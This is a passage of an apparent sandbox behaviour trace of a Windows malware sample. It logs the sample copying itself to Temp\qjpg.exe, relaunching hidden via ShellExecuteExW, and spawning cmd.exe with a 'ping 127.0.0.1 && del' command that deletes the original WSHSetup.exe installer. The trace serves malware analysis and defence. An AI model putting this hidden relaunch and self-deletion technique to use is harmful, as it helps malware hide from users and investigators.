	[0067.713] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\7120TM~1.EXE" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\7120tm~1.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\qjpg.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\qjpg.exe"), bFailIfExists=0) returned 1
	[0068.187] _swprintf (in: param_1=0x194de8, param_2=" %s \"%s\"" | out: param_1=" {fae9929d-933c-11e7-a51d-806e6f6e6963} \"C:\\Users\\FD1HVy\\AppData\\Roaming\\7120TM~1.EXE\"") returned 86
	[0068.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x405bf0, lpParameter=0x192ddc, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c
	[0068.188] WaitForSingleObject (hHandle=0x22c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.047] ExitProcess (uExitCode=0x0) 

Thread:
	id = 25
	os_tid = 0x1334


Thread:
	id = 26
	os_tid = 0x1148

	[0068.322] _alloca_probe () returned 0x405bfd
	[0068.322] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\qjpg.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\qjpg.exe")) returned 0x20
	[0068.322] GetShellWindow () returned 0x100f0
	[0068.323] ShellExecuteExW (in: pExecInfo=0x212ff44*(cbSize=0x3c, fMask=0x8000, hwnd=0x100f0, lpVerb="open", lpFile="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\qjpg.exe", lpParameters=" {fae9929d-933c-11e7-a51d-806e6f6e6963} \"C:\\Users\\FD1HVy\\AppData\\Roaming\\7120TM~1.EXE\"", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x212ff44*(cbSize=0x3c, fMask=0x8000, hwnd=0x100f0, lpVerb="open", lpFile="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\qjpg.exe", lpParameters=" {fae9929d-933c-11e7-a51d-806e6f6e6963} \"C:\\Users\\FD1HVy\\AppData\\Roaming\\7120TM~1.EXE\"", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1

Thread:
	id = 27
	os_tid = 0xf88


Thread:
	id = 28
	os_tid = 0xfb4


Thread:
	id = 29
	os_tid = 0xfb0


Thread:
	id = 30
	os_tid = 0xfa4


Thread:
	id = 31
	os_tid = 0xf9c


Thread:
	id = 32
	os_tid = 0x1340


Thread:
	id = 33
	os_tid = 0x10f4


Process:
	id = "5"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x12904000"
	os_pid = "0x1240"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x118c"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\" /c ping 127.0.0.1 && del \"C:\\Users\\FD1HVy\\Desktop\\WSHSetup.exe\" >> NUL"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 35
	os_tid = 0x124c

	[0075.437] GetModuleHandleA (lpModuleName=0x0) returned 0x1100000
	[0075.437] __set_app_type (_Type=0x1) 
	[0075.437] __p__fmode () returned 0x776f3c14
	[0075.437] __p__commode () returned 0x776f49ec
	[0075.437] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1116fd0) returned 0x0
	[0075.437] __getmainargs (in: _Argc=0x112d1a4, _Argv=0x112d1a8, _Env=0x112d1ac, _DoWildCard=0, _StartInfo=0x112d1b8 | out: _Argc=0x112d1a4, _Argv=0x112d1a8, _Env=0x112d1ac) returned 0
	[0075.437] _onexit (_Func=0x1118030) returned 0x1118030
	[0075.438] _onexit (_Func=0x1118040) returned 0x1118040
	[0075.438] _onexit (_Func=0x1118050) returned 0x1118050
	[0075.438] _onexit (_Func=0x1118060) returned 0x1118060
	[0075.438] _onexit (_Func=0x1118070) returned 0x1118070
	[0075.440] _onexit (_Func=0x1118080) returned 0x1118080
	[0075.440] GetCurrentThreadId () returned 0x124c
	[0075.440] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x124c) returned 0xbc
	[0075.440] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x772d0000
	[0075.440] GetProcAddress (hModule=0x772d0000, lpProcName="SetThreadUILanguage") returned 0x772e4f70
	[0075.440] SetThreadUILanguage (LangId=0x0) returned 0x610409
	[0075.512] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0075.512] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x8ffd34 | out: phkResult=0x8ffd34*=0x0) returned 0x2
	[0075.514] VirtualQuery (in: lpAddress=0x8ffd3f, lpBuffer=0x8ffcec, dwLength=0x1c | out: lpBuffer=0x8ffcec*(BaseAddress=0x8ff000, AllocationBase=0x800000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0075.514] VirtualQuery (in: lpAddress=0x800000, lpBuffer=0x8ffcec, dwLength=0x1c | out: lpBuffer=0x8ffcec*(BaseAddress=0x800000, AllocationBase=0x800000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0075.514] VirtualQuery (in: lpAddress=0x801000, lpBuffer=0x8ffcec, dwLength=0x1c | out: lpBuffer=0x8ffcec*(BaseAddress=0x801000, AllocationBase=0x800000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0075.514] VirtualQuery (in: lpAddress=0x803000, lpBuffer=0x8ffcec, dwLength=0x1c | out: lpBuffer=0x8ffcec*(BaseAddress=0x803000, AllocationBase=0x800000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0075.514] VirtualQuery (in: lpAddress=0x900000, lpBuffer=0x8ffcec, dwLength=0x1c | out: lpBuffer=0x8ffcec*(BaseAddress=0x900000, AllocationBase=0x900000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c
	[0075.514] GetConsoleOutputCP () returned 0x1b5
	[0075.550] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x1133850 | out: lpCPInfo=0x1133850) returned 1
	[0075.550] SetConsoleCtrlHandler (HandlerRoutine=0x1127260, Add=1) returned 1
	[0075.550] _get_osfhandle (_FileHandle=1) returned 0x90
	[0075.550] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x113388c | out: lpMode=0x113388c) returned 1
	[0075.556] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0075.556] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0x1133888 | out: lpMode=0x1133888) returned 1
	[0075.861] _get_osfhandle (_FileHandle=1) returned 0x90
	[0075.861] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1
	[0075.896] _get_osfhandle (_FileHandle=1) returned 0x90
	[0075.896] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x1133890 | out: lpMode=0x1133890) returned 1
	[0075.914] _get_osfhandle (_FileHandle=1) returned 0x90
	[0075.914] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0075.940] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0075.940] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0x1133894 | out: lpMode=0x1133894) returned 1
	[0076.014] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0076.014] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0076.068] GetEnvironmentStringsW () returned 0xc24d80*
	[0076.070] GetProcessHeap () returned 0xc20000
	[0076.070] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0xb7c) returned 0xc25908
	[0076.070] FreeEnvironmentStringsA (penv="A") returned 1
	[0076.070] GetProcessHeap () returned 0xc20000
	[0076.070] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0x4) returned 0xc24860
	[0076.070] GetEnvironmentStringsW () returned 0xc24d80*
	[0076.070] GetProcessHeap () returned 0xc20000
	[0076.070] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0xb7c) returned 0xc26490
	[0076.070] FreeEnvironmentStringsA (penv="A") returned 1
	[0076.071] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x8fec90 | out: phkResult=0x8fec90*=0xcc) returned 0x0
	[0076.071] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x8fec98, lpData=0x8fec9c, lpcbData=0x8fec94*=0x1000 | out: lpType=0x8fec98*=0x0, lpData=0x8fec9c*=0x0, lpcbData=0x8fec94*=0x1000) returned 0x2
	[0076.071] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x8fec98, lpData=0x8fec9c, lpcbData=0x8fec94*=0x1000 | out: lpType=0x8fec98*=0x4, lpData=0x8fec9c*=0x1, lpcbData=0x8fec94*=0x4) returned 0x0
	[0076.071] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x8fec98, lpData=0x8fec9c, lpcbData=0x8fec94*=0x1000 | out: lpType=0x8fec98*=0x0, lpData=0x8fec9c*=0x1, lpcbData=0x8fec94*=0x1000) returned 0x2
	[0076.071] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x8fec98, lpData=0x8fec9c, lpcbData=0x8fec94*=0x1000 | out: lpType=0x8fec98*=0x4, lpData=0x8fec9c*=0x0, lpcbData=0x8fec94*=0x4) returned 0x0
	[0076.071] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x8fec98, lpData=0x8fec9c, lpcbData=0x8fec94*=0x1000 | out: lpType=0x8fec98*=0x4, lpData=0x8fec9c*=0x40, lpcbData=0x8fec94*=0x4) returned 0x0
	[0076.071] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x8fec98, lpData=0x8fec9c, lpcbData=0x8fec94*=0x1000 | out: lpType=0x8fec98*=0x4, lpData=0x8fec9c*=0x40, lpcbData=0x8fec94*=0x4) returned 0x0
	[0076.071] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x8fec98, lpData=0x8fec9c, lpcbData=0x8fec94*=0x1000 | out: lpType=0x8fec98*=0x0, lpData=0x8fec9c*=0x40, lpcbData=0x8fec94*=0x1000) returned 0x2
	[0076.071] RegCloseKey (hKey=0xcc) returned 0x0
	[0076.071] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x8fec90 | out: phkResult=0x8fec90*=0xcc) returned 0x0
	[0076.071] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x8fec98, lpData=0x8fec9c, lpcbData=0x8fec94*=0x1000 | out: lpType=0x8fec98*=0x0, lpData=0x8fec9c*=0x40, lpcbData=0x8fec94*=0x1000) returned 0x2
	[0076.071] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x8fec98, lpData=0x8fec9c, lpcbData=0x8fec94*=0x1000 | out: lpType=0x8fec98*=0x4, lpData=0x8fec9c*=0x1, lpcbData=0x8fec94*=0x4) returned 0x0
	[0076.071] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x8fec98, lpData=0x8fec9c, lpcbData=0x8fec94*=0x1000 | out: lpType=0x8fec98*=0x0, lpData=0x8fec9c*=0x1, lpcbData=0x8fec94*=0x1000) returned 0x2
	[0076.071] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x8fec98, lpData=0x8fec9c, lpcbData=0x8fec94*=0x1000 | out: lpType=0x8fec98*=0x4, lpData=0x8fec9c*=0x0, lpcbData=0x8fec94*=0x4) returned 0x0
	[0076.071] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x8fec98, lpData=0x8fec9c, lpcbData=0x8fec94*=0x1000 | out: lpType=0x8fec98*=0x4, lpData=0x8fec9c*=0x9, lpcbData=0x8fec94*=0x4) returned 0x0
	[0076.071] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x8fec98, lpData=0x8fec9c, lpcbData=0x8fec94*=0x1000 | out: lpType=0x8fec98*=0x4, lpData=0x8fec9c*=0x9, lpcbData=0x8fec94*=0x4) returned 0x0
	[0076.072] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x8fec98, lpData=0x8fec9c, lpcbData=0x8fec94*=0x1000 | out: lpType=0x8fec98*=0x0, lpData=0x8fec9c*=0x9, lpcbData=0x8fec94*=0x1000) returned 0x2
	[0076.072] RegCloseKey (hKey=0xcc) returned 0x0
	[0076.072] time (in: timer=0x0 | out: timer=0x0) returned 0x5e6a4b14
	[0076.072] srand (_Seed=0x5e6a4b14) 
	[0076.072] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\" /c ping 127.0.0.1 && del \"C:\\Users\\FD1HVy\\Desktop\\WSHSetup.exe\" >> NUL"
	[0076.072] malloc (_Size=0x4000) returned 0xed2338
	[0076.072] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\" /c ping 127.0.0.1 && del \"C:\\Users\\FD1HVy\\Desktop\\WSHSetup.exe\" >> NUL"
	[0076.072] malloc (_Size=0xffce) returned 0xd20048
	[0076.073] ??_V@YAXPAX@Z () returned 0x8ffc74
	[0076.073] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0xd20048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0076.074] malloc (_Size=0xffce) returned 0xd30020
	[0076.074] ??_V@YAXPAX@Z () returned 0x8ffa48
	[0076.075] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xd30020, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0076.075] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x112f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0076.075] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x112f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0076.075] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x112f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0076.075] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0076.075] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0076.075] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0076.075] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0076.075] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0076.075] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0076.075] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0076.075] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0076.075] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0076.075] GetProcessHeap () returned 0xc20000
	[0076.076] RtlFreeHeap (HeapHandle=0xc20000, Flags=0x0, BaseAddress=0xc25908) returned 1
	[0076.076] GetEnvironmentStringsW () returned 0xc24d80*
	[0076.076] GetProcessHeap () returned 0xc20000
	[0076.076] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0xb94) returned 0xc27bb8
	[0076.076] FreeEnvironmentStringsA (penv="A") returned 1
	[0076.076] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x112f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0076.076] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x112f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0076.076] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0076.076] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0076.076] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0076.076] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0076.076] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0076.076] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0076.076] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0076.076] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0076.076] malloc (_Size=0xffce) returned 0xd3fff8
	[0076.076] ??_V@YAXPAX@Z () returned 0x8ff7e0
	[0076.077] GetProcessHeap () returned 0xc20000
	[0076.077] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0x38) returned 0xc28758
	[0076.077] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0xd3fff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0076.077] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0xd3fff8, lpFilePart=0x8ff82c | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x8ff82c*="Desktop") returned 0x17
	[0076.077] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0076.078] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x8ff5b0 | out: lpFindFileData=0x8ff5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0xc28798
	[0076.078] FindClose (in: hFindFile=0xc28798 | out: hFindFile=0xc28798) returned 1
	[0076.078] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x8ff5b0 | out: lpFindFileData=0x8ff5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0xc28798
	[0076.078] FindClose (in: hFindFile=0xc28798 | out: hFindFile=0xc28798) returned 1
	[0076.078] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x8ff5b0 | out: lpFindFileData=0x8ff5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc77b73d2, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xc77b73d2, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0xc28798
	[0076.078] FindClose (in: hFindFile=0xc28798 | out: hFindFile=0xc28798) returned 1
	[0076.078] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0076.078] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0076.078] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0076.078] GetProcessHeap () returned 0xc20000
	[0076.078] RtlFreeHeap (HeapHandle=0xc20000, Flags=0x0, BaseAddress=0xc27bb8) returned 1
	[0076.078] GetEnvironmentStringsW () returned 0xc27018*
	[0076.078] GetProcessHeap () returned 0xc20000
	[0076.078] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0xbcc) returned 0xc28798
	[0076.079] FreeEnvironmentStringsA (penv="=") returned 1
	[0076.079] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0xd20048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0076.079] GetProcessHeap () returned 0xc20000
	[0076.079] RtlFreeHeap (HeapHandle=0xc20000, Flags=0x0, BaseAddress=0xc28758) returned 1
	[0076.079] ??_V@YAXPAX@Z () returned 0x1
	[0076.079] ??_V@YAXPAX@Z () returned 0x1
	[0076.079] GetProcessHeap () returned 0xc20000
	[0076.079] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0x400e) returned 0xc29370
	[0076.079] GetProcessHeap () returned 0xc20000
	[0076.079] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0x94) returned 0xc25958
	[0076.079] GetProcessHeap () returned 0xc20000
	[0076.079] RtlFreeHeap (HeapHandle=0xc20000, Flags=0x0, BaseAddress=0xc29370) returned 1
	[0076.079] GetConsoleOutputCP () returned 0x1b5
	[0076.189] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x1133850 | out: lpCPInfo=0x1133850) returned 1
	[0076.189] GetUserDefaultLCID () returned 0x409
	[0076.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x112f82c, cchData=8 | out: lpLCData=":") returned 2
	[0076.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x8ffb9c, cchData=128 | out: lpLCData="0") returned 2
	[0076.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x8ffb9c, cchData=128 | out: lpLCData="0") returned 2
	[0076.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x8ffb9c, cchData=128 | out: lpLCData="1") returned 2
	[0076.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x112f81c, cchData=8 | out: lpLCData="/") returned 2
	[0076.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x112f7b8, cchData=32 | out: lpLCData="Mon") returned 4
	[0076.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x112f778, cchData=32 | out: lpLCData="Tue") returned 4
	[0076.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x112f738, cchData=32 | out: lpLCData="Wed") returned 4
	[0076.190] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x112f6f8, cchData=32 | out: lpLCData="Thu") returned 4
	[0076.190] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x112f6b8, cchData=32 | out: lpLCData="Fri") returned 4
	[0076.190] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x112f678, cchData=32 | out: lpLCData="Sat") returned 4
	[0076.190] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x112f638, cchData=32 | out: lpLCData="Sun") returned 4
	[0076.190] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x112f80c, cchData=8 | out: lpLCData=".") returned 2
	[0076.190] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x112f7f8, cchData=8 | out: lpLCData=",") returned 2
	[0076.190] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0076.192] GetProcessHeap () returned 0xc20000
	[0076.192] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x0, Size=0x20c) returned 0xc25a40
	[0076.192] GetConsoleTitleW (in: lpConsoleTitle=0xc25a40, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0076.304] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x772d0000
	[0076.304] GetProcAddress (hModule=0x772d0000, lpProcName="CopyFileExW") returned 0x772e4330
	[0076.304] GetProcAddress (hModule=0x772d0000, lpProcName="IsDebuggerPresent") returned 0x772e5930
	[0076.304] GetProcAddress (hModule=0x772d0000, lpProcName="SetConsoleInputExeNameW") returned 0x74d009d0
	[0076.304] ??_V@YAXPAX@Z () returned 0x1
	[0076.305] GetProcessHeap () returned 0xc20000
	[0076.305] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0x400a) returned 0xc29370
	[0076.305] GetProcessHeap () returned 0xc20000
	[0076.305] RtlFreeHeap (HeapHandle=0xc20000, Flags=0x0, BaseAddress=0xc29370) returned 1
	[0076.306] _wcsicmp (_String1="ping", _String2=")") returned 71
	[0076.306] _wcsicmp (_String1="FOR", _String2="ping") returned -10
	[0076.306] _wcsicmp (_String1="FOR/?", _String2="ping") returned -10
	[0076.306] _wcsicmp (_String1="IF", _String2="ping") returned -7
	[0076.306] _wcsicmp (_String1="IF/?", _String2="ping") returned -7
	[0076.306] _wcsicmp (_String1="REM", _String2="ping") returned 2
	[0076.306] _wcsicmp (_String1="REM/?", _String2="ping") returned 2
	[0076.306] GetProcessHeap () returned 0xc20000
	[0076.306] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0x58) returned 0xc25c58
	[0076.306] GetProcessHeap () returned 0xc20000
	[0076.306] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0x12) returned 0xc25cb8
	[0076.306] GetProcessHeap () returned 0xc20000
	[0076.306] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0x20) returned 0xc25cd8
	[0076.307] GetProcessHeap () returned 0xc20000
	[0076.307] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0x58) returned 0xc25d00
	[0076.307] _wcsicmp (_String1="FOR", _String2="del") returned 2
	[0076.307] _wcsicmp (_String1="FOR/?", _String2="del") returned 2
	[0076.307] _wcsicmp (_String1="IF", _String2="del") returned 5
	[0076.307] _wcsicmp (_String1="IF/?", _String2="del") returned 5
	[0076.307] _wcsicmp (_String1="REM", _String2="del") returned 14
	[0076.307] _wcsicmp (_String1="REM/?", _String2="del") returned 14
	[0076.307] GetProcessHeap () returned 0xc20000
	[0076.307] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0x58) returned 0xc25d60
	[0076.307] GetProcessHeap () returned 0xc20000
	[0076.307] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0x10) returned 0xc25dc0
	[0076.308] GetProcessHeap () returned 0xc20000
	[0076.308] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0x5a) returned 0xc25dd8
	[0076.308] GetProcessHeap () returned 0xc20000
	[0076.308] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0x20) returned 0xc25e40
	[0076.308] GetProcessHeap () returned 0xc20000
	[0076.308] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0x10) returned 0xc25e68
	[0076.309] GetConsoleTitleW (in: lpConsoleTitle=0x8ffa30, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0076.426] malloc (_Size=0xffce) returned 0xd326d8
	[0076.426] ??_V@YAXPAX@Z () returned 0x8ff7bc
